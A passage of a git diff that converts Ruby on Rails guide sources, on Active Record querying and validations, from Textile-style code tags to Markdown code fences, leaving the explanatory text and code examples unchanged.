Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)").having("sum(price) > ?", 100)
-</ruby>
+```
The SQL that would be executed would be something like this:
-<sql>
+```sql
SELECT date(created_at) as ordered_date, sum(price) as total_price
FROM orders
GROUP BY date(created_at)
HAVING sum(price) > 100
-</sql>
+```
This will return single order objects for each day, but only those that are ordered more than $100 in a day.
@@ -662,35 +662,35 @@ h4. +except+
You can specify certain conditions to be excepted by using the +except+ method. For example:
-<ruby>
+```ruby
Post.where('id > 10').limit(20).order('id asc').except(:order)
-</ruby>
+```
The SQL that would be executed:
-<sql>
+```sql
SELECT * FROM posts WHERE id > 10 LIMIT 20
-</sql>
+```
h4. +only+
You can also override conditions using the +only+ method. For example:
-<ruby>
+```ruby
Post.where('id > 10').limit(20).order('id desc').only(:order, :where)
-</ruby>
+```
The SQL that would be executed:
-<sql>
+```sql
SELECT * FROM posts WHERE id > 10 ORDER BY id DESC
-</sql>
+```
h4. +reorder+
The +reorder+ method overrides the default scope order. For example:
-<ruby>
+```ruby
class Post < ActiveRecord::Base
..
..
@@ -698,45 +698,45 @@ class Post < ActiveRecord::Base
end
Post.find(10).comments.reorder('name')
-</ruby>
+```
The SQL that would be executed:
-<sql>
+```sql
SELECT * FROM posts WHERE id = 10 ORDER BY name
-</sql>
+```
In case the +reorder+ clause is not used, the SQL executed would be:
-<sql>
+```sql
SELECT * FROM posts WHERE id = 10 ORDER BY posted_at DESC
-</sql>
+```
h4. +reverse_order+
The +reverse_order+ method reverses the ordering clause if specified.
-<ruby>
+```ruby
Client.where("orders_count > 10").order(:name).reverse_order
-</ruby>
+```
The SQL that would be executed:
-<sql>
+```sql
SELECT * FROM clients WHERE orders_count > 10 ORDER BY name DESC
-</sql>
+```
If no ordering clause is specified in the query, the +reverse_order+ orders by the primary key in reverse order.
-<ruby>
+```ruby
Client.where("orders_count > 10").reverse_order
-</ruby>
+```
The SQL that would be executed:
-<sql>
+```sql
SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC
-</sql>
+```
This method accepts *no* arguments.
@@ -744,11 +744,11 @@ h3. Null Relation
The +none+ method returns a chainable relation with no records. Any subsequent conditions chained to the returned relation will continue generating empty relations. This is useful in scenarios where you need a chainable response to a method or a scope that could return zero results.
-<ruby>
+```ruby
Post.none # returns an empty Relation and fires no queries.
-</ruby>
+```
-<ruby>
+```ruby
# The visible_posts method below is expected to return a Relation.
@posts = current_user.visible_posts.where(:name => params[:name])
@@ -762,17 +762,17 @@ def visible_posts
Post.none # => returning [] or nil breaks the caller code in this case
end
end
-</ruby>
+```
h3. Readonly Objects
Active Record provides +readonly+ method on a relation to explicitly disallow modification of any of the returned objects. Any attempt to alter a readonly record will not succeed, raising an +ActiveRecord::ReadOnlyRecord+ exception.
-<ruby>
+```ruby
client = Client.readonly.first
client.visits += 1
client.save
-</ruby>
+```
As +client+ is explicitly set to be a readonly object, the above code will raise an +ActiveRecord::ReadOnlyRecord+ exception when calling +client.save+ with an updated value of _visits_.
@@ -793,7 +793,7 @@ Optimistic locking allows multiple users to access the same record for edits, an
In order to use optimistic locking, the table needs to have a column called +lock_version+ of type integer. Each time the record is updated, Active Record increments the +lock_version+ column. If an update request is made with a lower value in the +lock_version+ field than is currently in the +lock_version+ column in the database, the update request will fail with an +ActiveRecord::StaleObjectError+. Example:
-<ruby>
+```ruby
c1 = Client.find(1)
c2 = Client.find(1)
@@ -802,7 +802,7 @@ c1.save
c2.name = "should fail"
c2.save # Raises an ActiveRecord::StaleObjectError
-</ruby>
+```
You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, or otherwise apply the business logic needed to resolve the conflict.
@@ -810,11 +810,11 @@ This behavior can be turned off by setting <tt>ActiveRecord::Base.lock_optimisti
To override the name of the +lock_version+ column, +ActiveRecord::Base+ provides a class attribute called +locking_column+:
-<ruby>
+```ruby
class Client < ActiveRecord::Base
self.locking_column = :lock_client_column
end
-</ruby>
+```
h4. Pessimistic Locking
@@ -822,42 +822,42 @@ Pessimistic locking uses a locking mechanism provided by the underlying database
For example:
-<ruby>
+```ruby
Item.transaction do
i = Item.lock.first
i.name = 'Jones'
i.save
end
-</ruby>
+```
The above session produces the following SQL for a MySQL backend:
-<sql>
+```sql
SQL (0.2ms) BEGIN
Item Load (0.3ms) SELECT * FROM `items` LIMIT 1 FOR UPDATE
Item Update (0.4ms) UPDATE `items` SET `updated_at` = '2009-02-07 18:05:56', `name` = 'Jones' WHERE `id` = 1
SQL (0.8ms) COMMIT
-</sql>
+```
You can also pass raw SQL to the +lock+ method for allowing different types of locks. For example, MySQL has an expression called +LOCK IN SHARE MODE+ where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option:
-<ruby>
+```ruby
Item.transaction do
i = Item.lock("LOCK IN SHARE MODE").find(1)
i.increment!(:views)
end
-</ruby>
+```
If you already have an instance of your model, you can start a transaction and acquire the lock in one go using the following code:
-<ruby>
+```ruby
item = Item.first
item.with_lock do
# This block is called within a transaction,
# item is already locked.
item.increment!(:views)
end
-</ruby>
+```
h3. Joining Tables
@@ -867,15 +867,15 @@ h4. Using a String SQL Fragment
You can just supply the raw SQL specifying the +JOIN+ clause to +joins+:
-<ruby>
+```ruby
Client.joins('LEFT OUTER JOIN addresses ON addresses.client_id = clients.id')
-</ruby>
+```
This will result in the following SQL:
-<sql>
+```sql
SELECT clients.* FROM clients LEFT OUTER JOIN addresses ON addresses.client_id = clients.id
-</sql>
+```
h4. Using Array/Hash of Named Associations
@@ -885,7 +885,7 @@ Active Record lets you use the names of the "associations":association_basics.ht
For example, consider the following +Category+, +Post+, +Comments+ and +Guest+ models:
-<ruby>
+```ruby
class Category < ActiveRecord::Base
has_many :posts
end
@@ -908,88 +908,88 @@ end
class Tag < ActiveRecord::Base
belongs_to :post
end
-</ruby>
+```
Now all of the following will produce the expected join queries using +INNER JOIN+:
h5. Joining a Single Association
-<ruby>
+```ruby
Category.joins(:posts)
-</ruby>
+```
This produces:
-<sql>
+```sql
SELECT categories.* FROM categories
INNER JOIN posts ON posts.category_id = categories.id
-</sql>
+```
Or, in English: "return a Category object for all categories with posts". Note that you will see duplicate categories if more than one post has the same category. If you want unique categories, you can use Category.joins(:posts).select("distinct(categories.id)").
h5. Joining Multiple Associations
-<ruby>
+```ruby
Post.joins(:category, :comments)
-</ruby>
+```
This produces:
-<sql>
+```sql
SELECT posts.* FROM posts
INNER JOIN categories ON posts.category_id = categories.id
INNER JOIN comments ON comments.post_id = posts.id
-</sql>
+```
Or, in English: "return all posts that have a category and at least one comment". Note again that posts with multiple comments will show up multiple times.
h5. Joining Nested Associations (Single Level)
-<ruby>
+```ruby
Post.joins(:comments => :guest)
-</ruby>
+```
This produces:
-<sql>
+```sql
SELECT posts.* FROM posts
INNER JOIN comments ON comments.post_id = posts.id
INNER JOIN guests ON guests.comment_id = comments.id
-</sql>
+```
Or, in English: "return all posts that have a comment made by a guest."
h5. Joining Nested Associations (Multiple Level)
-<ruby>
+```ruby
Category.joins(:posts => [{:comments => :guest}, :tags])
-</ruby>
+```
This produces:
-<sql>
+```sql
SELECT categories.* FROM categories
INNER JOIN posts ON posts.category_id = categories.id
INNER JOIN comments ON comments.post_id = posts.id
INNER JOIN guests ON guests.comment_id = comments.id
INNER JOIN tags ON tags.post_id = posts.id
-</sql>
+```
h4. Specifying Conditions on the Joined Tables
You can specify conditions on the joined tables using the regular "Array":#array-conditions and "String":#pure-string-conditions conditions. "Hash conditions":#hash-conditions provides a special syntax for specifying conditions for the joined tables:
-<ruby>
+```ruby
time_range = (Time.now.midnight - 1.day)..Time.now.midnight
Client.joins(:orders).where('orders.created_at' => time_range)
-</ruby>
+```
An alternative and cleaner syntax is to nest the hash conditions:
-<ruby>
+```ruby
time_range = (Time.now.midnight - 1.day)..Time.now.midnight
Client.joins(:orders).where(:orders => {:created_at => time_range})
-</ruby>
+```
This will find all clients who have orders that were created yesterday, again using a +BETWEEN+ SQL expression.
@@ -1001,13 +1001,13 @@ Eager loading is the mechanism for loading the associated records of the objects
Consider the following code, which finds 10 clients and prints their postcodes:
-<ruby>
+```ruby
clients = Client.limit(10)
clients.each do |client|
puts client.address.postcode
end
-</ruby>
+```
This code looks fine at the first sight. But the problem lies within the total number of queries executed. The above code executes 1 ( to find 10 clients ) <plus> 10 ( one per each client to load the address ) = <strong>11</strong> queries in total.
@@ -1017,21 +1017,21 @@ Active Record lets you specify in advance all the associations that are going to
Revisiting the above case, we could rewrite +Client.limit(10)+ to use eager load addresses:
-<ruby>
+```ruby
clients = Client.includes(:address).limit(10)
clients.each do |client|
puts client.address.postcode
end
-</ruby>
+```
The above code will execute just <strong>2</strong> queries, as opposed to <strong>11</strong> queries in the previous case:
-<sql>
+```sql
SELECT * FROM clients LIMIT 10
SELECT addresses.* FROM addresses
WHERE (addresses.client_id IN (1,2,3,4,5,6,7,8,9,10))
-</sql>
+```
h4. Eager Loading Multiple Associations
@@ -1039,17 +1039,17 @@ Active Record lets you eager load any number of associations with a single +Mode
h5. Array of Multiple Associations
-<ruby>
+```ruby
Post.includes(:category, :comments)
-</ruby>
+```
This loads all the posts and the associated category and comments for each post.
h5. Nested Associations Hash
-<ruby>
+```ruby
Category.includes(:posts => [{:comments => :guest}, :tags]).find(1)
-</ruby>
+```
This will find the category with id 1 and eager load all of the associated posts, the associated posts' tags and comments, and every comment's guest association.
@@ -1059,15 +1059,15 @@ Even though Active Record lets you specify conditions on the eager loaded associ
However if you must do this, you may use +where+ as you would normally.
-<ruby>
+```ruby
Post.includes(:comments).where("comments.visible" => true)
-</ruby>
+```
This would generate a query which contains a +LEFT OUTER JOIN+ whereas the +joins+ method would generate one using the +INNER JOIN+ function instead.
-<ruby>
+```ruby
SELECT "posts"."id" AS t0_r0, ... "comments"."updated_at" AS t1_r5 FROM "posts" LEFT OUTER JOIN "comments" ON "comments"."post_id" = "posts"."id" WHERE (comments.visible = 1)
-</ruby>
+```
If there was no +where+ condition, this would generate the normal set of two queries.
@@ -1079,93 +1079,93 @@ Scoping allows you to specify commonly-used queries which can be referenced as m
To define a simple scope, we use the +scope+ method inside the class, passing the query that we'd like run when this scope is called:
-<ruby>
+```ruby
class Post < ActiveRecord::Base
scope :published, -> { where(published: true) }
end
-</ruby>
+```
This is exactly the same as defining a class method, and which you use is a matter of personal preference:
-<ruby>
+```ruby
class Post < ActiveRecord::Base
def self.published
where(published: true)
end
end
-</ruby>
+```
Scopes are also chainable within scopes:
-<ruby>
+```ruby
class Post < ActiveRecord::Base
scope :published, -> { where(:published => true) }
scope :published_and_commented, -> { published.where("comments_count > 0") }
end
-</ruby>
+```
To call this +published+ scope we can call it on either the class:
-<ruby>
+```ruby
Post.published # => [published posts]
-</ruby>
+```
Or on an association consisting of +Post+ objects:
-<ruby>
+```ruby
category = Category.first
category.posts.published # => [published posts belonging to this category]
-</ruby>
+```
h4. Passing in arguments
Your scope can take arguments:
-<ruby>
+```ruby
class Post < ActiveRecord::Base
scope :created_before, ->(time) { where("created_at < ?", time) }
end
-</ruby>
+```
This may then be called using this:
-<ruby>
+```ruby
Post.created_before(Time.zone.now)
-</ruby>
+```
However, this is just duplicating the functionality that would be provided to you by a class method.
-<ruby>
+```ruby
class Post < ActiveRecord::Base
def self.created_before(time)
where("created_at < ?", time)
end
end
-</ruby>
+```
Using a class method is the preferred way to accept arguments for scopes. These methods will still be accessible on the association objects:
-<ruby>
+```ruby
category.posts.created_before(time)
-</ruby>
+```
h4. Applying a default scope
If we wish for a scope to be applied across all queries to the model we can use the
+default_scope+ method within the model itself.
-<ruby>
+```ruby
class Client < ActiveRecord::Base
default_scope { where("removed_at IS NULL") }
end
-</ruby>
+```
When queries are executed on this model, the SQL query will now look something like
this:
-<sql>
+```sql
SELECT * FROM clients WHERE removed_at IS NULL
-</sql>
+```
If you need to do more complex things with a default scope, you can alternatively
define it as a class method:
@@ -1184,9 +1184,9 @@ If we wish to remove scoping for any reason we can use the +unscoped+ method. Th
especially useful if a +default_scope+ is specified in the model and should not be
applied for this particular query.
-<ruby>
+```ruby
Client.unscoped.all
-</ruby>
+```
This method removes all scoping and will do a normal query on the table.
@@ -1221,19 +1221,19 @@ The +first_or_create+ method checks whether +first+ returns +nil+ or not. If it
Suppose you want to find a client named 'Andy', and if there's none, create one and additionally set his +locked+ attribute to false. You can do so by running:
-<ruby>
+```ruby
Client.where(:first_name => 'Andy').first_or_create(:locked => false)
# => #<Client id: 1, first_name: "Andy", orders_count: 0, locked: false, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">
-</ruby>
+```
The SQL generated by this method looks like this:
-<sql>
+```sql
SELECT * FROM clients WHERE (clients.first_name = 'Andy') LIMIT 1
BEGIN
INSERT INTO clients (created_at, first_name, locked, orders_count, updated_at) VALUES ('2011-08-30 05:22:57', 'Andy', 0, NULL, '2011-08-30 05:22:57')
COMMIT
-</sql>
+```
+first_or_create+ returns either the record that already exists or the new record. In our case, we didn't already have a client named Andy so the record is created and returned.
@@ -1243,9 +1243,9 @@ It's also worth noting that +first_or_create+ takes into account the arguments o
You can do the same with the +find_or_create_by+ method:
-<ruby>
+```ruby
Client.find_or_create_by_first_name(:first_name => "Andy", :locked => false)
-</ruby>
+```
This method still works, but it's encouraged to use +first_or_create+ because it's more explicit on which arguments are used to _find_ the record and which are used to _create_, resulting in less confusion overall.
@@ -1253,16 +1253,16 @@ h4(#first_or_create_bang). +first_or_create!+
You can also use +first_or_create!+ to raise an exception if the new record is invalid. Validations are not covered on this guide, but let's assume for a moment that you temporarily add
-<ruby>
+```ruby
validates :orders_count, :presence => true
-</ruby>
+```
to your +Client+ model. If you try to create a new +Client+ without passing an +orders_count+, the record will be invalid and an exception will be raised:
-<ruby>
+```ruby
Client.where(:first_name => 'Andy').first_or_create!(:locked => false)
# => ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank
-</ruby>
+```
As with +first_or_create+ there is a +find_or_create_by!+ method but the +first_or_create!+ method is preferred for clarity.
@@ -1270,7 +1270,7 @@ h4. +first_or_initialize+
The +first_or_initialize+ method will work just like +first_or_create+ but it will not call +create+ but +new+. This means that a new model instance will be created in memory but won't be saved to the database. Continuing with the +first_or_create+ example, we now want the client named 'Nick':
-<ruby>
+```ruby
nick = Client.where(:first_name => 'Nick').first_or_initialize(:locked => false)
# => <Client id: nil, first_name: "Nick", orders_count: 0, locked: false, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">
@@ -1279,30 +1279,30 @@ nick.persisted?
nick.new_record?
# => true
-</ruby>
+```
Because the object is not yet stored in the database, the SQL generated looks like this:
-<sql>
+```sql
SELECT * FROM clients WHERE (clients.first_name = 'Nick') LIMIT 1
-</sql>
+```
When you want to save it to the database, just call +save+:
-<ruby>
+```ruby
nick.save
# => true
-</ruby>
+```
h3. Finding by SQL
If you'd like to use your own SQL to find records in a table you can use +find_by_sql+. The +find_by_sql+ method will return an array of objects even if the underlying query returns just a single record. For example you could run this query:
-<ruby>
+```ruby
Client.find_by_sql("SELECT * FROM clients
INNER JOIN orders ON clients.id = orders.client_id
ORDER clients.created_at desc")
-</ruby>
+```
+find_by_sql+ provides you with a simple way of making custom calls to the database and retrieving instantiated objects.
@@ -1310,15 +1310,15 @@ h3. +select_all+
<tt>find_by_sql</tt> has a close relative called +connection#select_all+. +select_all+ will retrieve objects from the database using custom SQL just like +find_by_sql+ but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.
-<ruby>
+```ruby
Client.connection.select_all("SELECT * FROM clients WHERE id = '1'")
-</ruby>
+```
h3. +pluck+
<tt>pluck</tt> can be used to query a single or multiple columns from the underlying table of a model. It accepts a list of column names as argument and returns an array of values of the specified columns with the corresponding data type.
-<ruby>
+```ruby
Client.where(:active => true).pluck(:id)
# SELECT id FROM clients WHERE active = 1
# => [1, 2, 3]
@@ -1330,75 +1330,75 @@ Client.uniq.pluck(:role)
Client.pluck(:id, :name)
# SELECT clients.id, clients.name FROM clients
# => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']]
-</ruby>
+```
+pluck+ makes it possible to replace code like
-<ruby>
+```ruby
Client.select(:id).map { |c| c.id }
# or
Client.select(:id).map { |c| [c.id, c.name] }
-</ruby>
+```
with
-<ruby>
+```ruby
Client.pluck(:id)
# or
Client.pluck(:id, :name)
-</ruby>
+```
h3. +ids+
+ids+ can be used to pluck all the IDs for the relation using the table's primary key.
-<ruby>
+```ruby
Person.ids
# SELECT id FROM people
-</ruby>
+```
-<ruby>
+```ruby
class Person < ActiveRecord::Base
self.primary_key = "person_id"
end
Person.ids
# SELECT person_id FROM people
-</ruby>
+```
h3. Existence of Objects
If you simply want to check for the existence of the object there's a method called +exists?+. This method will query the database using the same query as +find+, but instead of returning an object or collection of objects it will return either +true+ or +false+.
-<ruby>
+```ruby
Client.exists?(1)
-</ruby>
+```
The +exists?+ method also takes multiple ids, but the catch is that it will return true if any one of those records exists.
-<ruby>
+```ruby
Client.exists?(1,2,3)
# or
Client.exists?([1,2,3])
-</ruby>
+```
It's even possible to use +exists?+ without any arguments on a model or a relation.
-<ruby>
+```ruby
Client.where(:first_name => 'Ryan').exists?
-</ruby>
+```
The above returns +true+ if there is at least one client with the +first_name+ 'Ryan' and +false+ otherwise.
-<ruby>
+```ruby
Client.exists?
-</ruby>
+```
The above returns +false+ if the +clients+ table is empty and +true+ otherwise.
You can also use +any?+ and +many?+ to check for existence on a model or relation.
-<ruby>
+```ruby
# via a model
Post.any?
Post.many?
@@ -1414,7 +1414,7 @@ Post.where(:published => true).many?
# via an association
Post.first.categories.any?
Post.first.categories.many?
-</ruby>
+```
h3. Calculations
@@ -1422,31 +1422,31 @@ This section uses count as an example method in this preamble, but the options d
All calculation methods work directly on a model:
-<ruby>
+```ruby
Client.count
# SELECT count(*) AS count_all FROM clients
-</ruby>
+```
Or on a relation:
-<ruby>
+```ruby
Client.where(:first_name => 'Ryan').count
# SELECT count(*) AS count_all FROM clients WHERE (first_name = 'Ryan')
-</ruby>
+```
You can also use various finder methods on a relation for performing complex calculations:
-<ruby>
+```ruby
Client.includes("orders").where(:first_name => 'Ryan', :orders => {:status => 'received'}).count
-</ruby>
+```
Which will execute:
-<sql>
+```sql
SELECT count(DISTINCT clients.id) AS count_all FROM clients
LEFT OUTER JOIN orders ON orders.client_id = client.id WHERE
(clients.first_name = 'Ryan' AND orders.status = 'received')
-</sql>
+```
h4. Count
@@ -1458,9 +1458,9 @@ h4. Average
If you want to see the average of a certain number in one of your tables you can call the +average+ method on the class that relates to the table. This method call will look something like this:
-<ruby>
+```ruby
Client.average("orders_count")
-</ruby>
+```
This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field.
@@ -1470,9 +1470,9 @@ h4. Minimum
If you want to find the minimum value of a field in your table you can call the +minimum+ method on the class that relates to the table. This method call will look something like this:
-<ruby>
+```ruby
Client.minimum("age")
-</ruby>
+```
For options, please see the parent section, "Calculations":#calculations.
@@ -1480,9 +1480,9 @@ h4. Maximum
If you want to find the maximum value of a field in your table you can call the +maximum+ method on the class that relates to the table. This method call will look something like this:
-<ruby>
+```ruby
Client.maximum("age")
-</ruby>
+```
For options, please see the parent section, "Calculations":#calculations.
@@ -1490,9 +1490,9 @@ h4. Sum
If you want to find the sum of a field for all records in your table you can call the +sum+ method on the class that relates to the table. This method call will look something like this:
-<ruby>
+```ruby
Client.sum("orders_count")
-</ruby>
+```
For options, please see the parent section, "Calculations":#calculations.
@@ -1500,13 +1500,13 @@ h3. Running EXPLAIN
You can run EXPLAIN on the queries triggered by relations. For example,
-<ruby>
+```ruby
User.where(:id => 1).joins(:posts).explain
-</ruby>
+```
may yield
-<plain>
+```
EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `posts` ON `posts`.`user_id` = `users`.`id` WHERE `users`.`id` = 1
<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------------<plus>
| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
@@ -1515,14 +1515,14 @@ EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `posts` ON `posts`.`user_i
| 1 | SIMPLE | posts | ALL | NULL | NULL | NULL | NULL | 1 | Using where |
<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------------<plus>
2 rows in set (0.00 sec)
-</plain>
+```
under MySQL.
Active Record performs a pretty printing that emulates the one of the database
shells. So, the same query running with the PostgreSQL adapter would yield instead
-<plain>
+```
EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "posts" ON "posts"."user_id" = "users"."id" WHERE "users"."id" = 1
QUERY PLAN
------------------------------------------------------------------------------
@@ -1533,19 +1533,19 @@ EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "posts" ON "posts"."user_i
-> Seq Scan on posts (cost=0.00..28.88 rows=8 width=4)
Filter: (posts.user_id = 1)
(6 rows)
-</plain>
+```
Eager loading may trigger more than one query under the hood, and some queries
may need the results of previous ones. Because of that, +explain+ actually
executes the query, and then asks for the query plans. For example,
-<ruby>
+```ruby
User.where(:id => 1).includes(:posts).explain
-</ruby>
+```
yields
-<plain>
+```
EXPLAIN for: SELECT `users`.* FROM `users` WHERE `users`.`id` = 1
<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------<plus>
| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
@@ -1561,7 +1561,7 @@ EXPLAIN for: SELECT `posts`.* FROM `posts` WHERE `posts`.`user_id` IN (1)
| 1 | SIMPLE | posts | ALL | NULL | NULL | NULL | NULL | 1 | Using where |
<plus>----<plus>-------------<plus>-------<plus>------<plus>---------------<plus>------<plus>---------<plus>------<plus>------<plus>-------------<plus>
1 row in set (0.00 sec)
-</plain>
+```
under MySQL.
@@ -1570,9 +1570,9 @@ h4. Automatic EXPLAIN
Active Record is able to run EXPLAIN automatically on slow queries and log its
output. This feature is controlled by the configuration parameter
-<ruby>
+```ruby
config.active_record.auto_explain_threshold_in_seconds
-</ruby>
+```
If set to a number, any query exceeding those many seconds will have its EXPLAIN
automatically triggered and logged. In the case of relations, the threshold is
@@ -1592,11 +1592,11 @@ h5. Disabling Automatic EXPLAIN
Automatic EXPLAIN can be selectively silenced with +ActiveRecord::Base.silence_auto_explain+:
-<ruby>
+```ruby
ActiveRecord::Base.silence_auto_explain do
# no automatic EXPLAIN is triggered here
end
-</ruby>
+```
That may be useful for queries you know are slow but fine, like a heavyweight
report of an admin interface.
diff --git a/guides/source/active_record_validations_callbacks.md b/guides/source/active_record_validations_callbacks.md
index b866337e3f..5b7976a2cf 100644
--- a/guides/source/active_record_validations_callbacks.md
+++ b/guides/source/active_record_validations_callbacks.md
@@ -39,14 +39,14 @@ h4. When Does Validation Happen?
There are two kinds of Active Record objects: those that correspond to a row inside your database and those that do not. When you create a fresh object, for example using the +new+ method, that object does not belong to the database yet. Once you call +save+ upon that object it will be saved into the appropriate database table. Active Record uses the +new_record?+ instance method to determine whether an object is already in the database or not. Consider the following simple Active Record class:
-<ruby>
+```ruby
class Person < ActiveRecord::Base
end
-</ruby>
+```
We can see how it works by looking at some +rails console+ output:
-<ruby>
+```ruby
>> p = Person.new(:name => "John Doe")
=> #<Person id: nil, name: "John Doe", created_at: nil, :updated_at: nil>
>> p.new_record?
@@ -55,7 +55,7 @@ We can see how it works by looking at some +rails console+ output:
=> true
>> p.new_record?
=> false
-</ruby>
+```
Creating and saving a new record will send an SQL +INSERT+ operation to the database. Updating an existing record will send an SQL +UPDATE+ operation instead. Validations are typically run before these commands are sent to the database. If any validations fail, the object will be marked as invalid and Active Record will not perform the +INSERT+ or +UPDATE+ operation. This helps to avoid storing an invalid object in the database. You can choose to have specific validations run when an object is created, saved, or updated.
@@ -97,20 +97,20 @@ h4. +valid?+ and +invalid?+
To verify whether or not an object is valid, Rails uses the +valid?+ method. You can also use this method on your own. +valid?+ triggers your validations and returns true if no errors were found in the object, and false otherwise.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :name, :presence => true
end
Person.create(:name => "John Doe").valid? # => true
Person.create(:name => nil).valid? # => false
-</ruby>
+```
After Active Record has performed validations, any errors found can be accessed through the +errors+ instance method, which returns a collection of errors. By definition, an object is valid if this collection is empty after running validations.
Note that an object instantiated with +new+ will not report errors even if it's technically invalid, because validations are not run when using +new+.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :name, :presence => true
end
@@ -138,7 +138,7 @@ end
>> Person.create!
=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
-</ruby>
+```
+invalid?+ is simply the inverse of +valid?+. +invalid?+ triggers your validations, returning true if any errors were found in the object, and false otherwise.
@@ -148,14 +148,14 @@ To verify whether or not a particular attribute of an object is valid, you can u
This method is only useful _after_ validations have been run, because it only inspects the errors collection and does not trigger validations itself. It's different from the +ActiveRecord::Base#invalid?+ method explained above because it doesn't verify the validity of the object as a whole. It only checks to see whether there are errors found on an individual attribute of the object.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :name, :presence => true
end
>> Person.new.errors[:name].any? # => false
>> Person.create.errors[:name].any? # => true
-</ruby>
+```
We'll cover validation errors in greater depth in the "Working with Validation Errors":#working-with-validation-errors section. For now, let's turn to the built-in validation helpers that Rails provides by default.
@@ -171,32 +171,32 @@ h4. +acceptance+
Validates that a checkbox on the user interface was checked when a form was submitted. This is typically used when the user needs to agree to your application's terms of service, confirm reading some text, or any similar concept. This validation is very specific to web applications and this 'acceptance' does not need to be recorded anywhere in your database (if you don't have a field for it, the helper will just create a virtual attribute).
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :terms_of_service, :acceptance => true
end
-</ruby>
+```
The default error message for this helper is "_must be accepted_".
It can receive an +:accept+ option, which determines the value that will be considered acceptance. It defaults to "1" and can be easily changed.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :terms_of_service, :acceptance => { :accept => 'yes' }
end
-</ruby>
+```
h4. +validates_associated+
You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, +valid?+ will be called upon each one of the associated objects.
-<ruby>
+```ruby
class Library < ActiveRecord::Base
has_many :books
validates_associated :books
end
-</ruby>
+```
This validation will work with all of the association types.
@@ -208,27 +208,27 @@ h4. +confirmation+
You should use this helper when you have two text fields that should receive exactly the same content. For example, you may want to confirm an email address or a password. This validation creates a virtual attribute whose name is the name of the field that has to be confirmed with "_confirmation" appended.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :email, :confirmation => true
end
-</ruby>
+```
In your view template you could use something like
-<erb>
+```erb
<%= text_field :person, :email %>
<%= text_field :person, :email_confirmation %>
-</erb>
+```
This check is performed only if +email_confirmation+ is not +nil+. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at +presence+ later on this guide):
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :email, :confirmation => true
validates :email_confirmation, :presence => true
end
-</ruby>
+```
The default error message for this helper is "_doesn't match confirmation_".
@@ -236,12 +236,12 @@ h4. +exclusion+
This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object.
-<ruby>
+```ruby
class Account < ActiveRecord::Base
validates :subdomain, :exclusion => { :in => %w(www us ca jp),
:message => "Subdomain %{value} is reserved." }
end
-</ruby>
+```
The +exclusion+ helper has an option +:in+ that receives the set of values that will not be accepted for the validated attributes. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. This example uses the +:message+ option to show how you can include the attribute's value.
@@ -251,12 +251,12 @@ h4. +format+
This helper validates the attributes' values by testing whether they match a given regular expression, which is specified using the +:with+ option.
-<ruby>
+```ruby
class Product < ActiveRecord::Base
validates :legacy_code, :format => { :with => /\A[a-zA-Z]+\z/,
:message => "Only letters allowed" }
end
-</ruby>
+```
The default error message is "_is invalid_".
@@ -264,12 +264,12 @@ h4. +inclusion+
This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object.
-<ruby>
+```ruby
class Coffee < ActiveRecord::Base
validates :size, :inclusion => { :in => %w(small medium large),
:message => "%{value} is not a valid size" }
end
-</ruby>
+```
The +inclusion+ helper has an option +:in+ that receives the set of values that will be accepted. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. The previous example uses the +:message+ option to show how you can include the attribute's value.
@@ -279,14 +279,14 @@ h4. +length+
This helper validates the length of the attributes' values. It provides a variety of options, so you can specify length constraints in different ways:
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :name, :length => { :minimum => 2 }
validates :bio, :length => { :maximum => 500 }
validates :password, :length => { :in => 6..20 }
validates :registration_number, :length => { :is => 6 }
end
-</ruby>
+```
The possible length constraint options are:
@@ -297,16 +297,16 @@ The possible length constraint options are:
The default error messages depend on the type of length validation being performed. You can personalize these messages using the +:wrong_length+, +:too_long+, and +:too_short+ options and <tt>%{count}</tt> as a placeholder for the number corresponding to the length constraint being used. You can still use the +:message+ option to specify an error message.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :bio, :length => { :maximum => 1000,
:too_long => "%{count} characters is the maximum allowed" }
end
-</ruby>
+```
This helper counts characters by default, but you can split the value in a different way using the +:tokenizer+ option:
-<ruby>
+```ruby
class Essay < ActiveRecord::Base
validates :content, :length => {
:minimum => 300,
@@ -316,7 +316,7 @@ class Essay < ActiveRecord::Base
:too_long => "must have at most %{count} words"
}
end
-</ruby>
+```
Note that the default error messages are plural (e.g., "is too short (minimum is %{count} characters)"). For this reason, when +:minimum+ is 1 you should provide a personalized message or use +validates_presence_of+ instead. When +:in+ or +:within+ have a lower limit of 1, you should either provide a personalized message or call +presence+ prior to +length+.
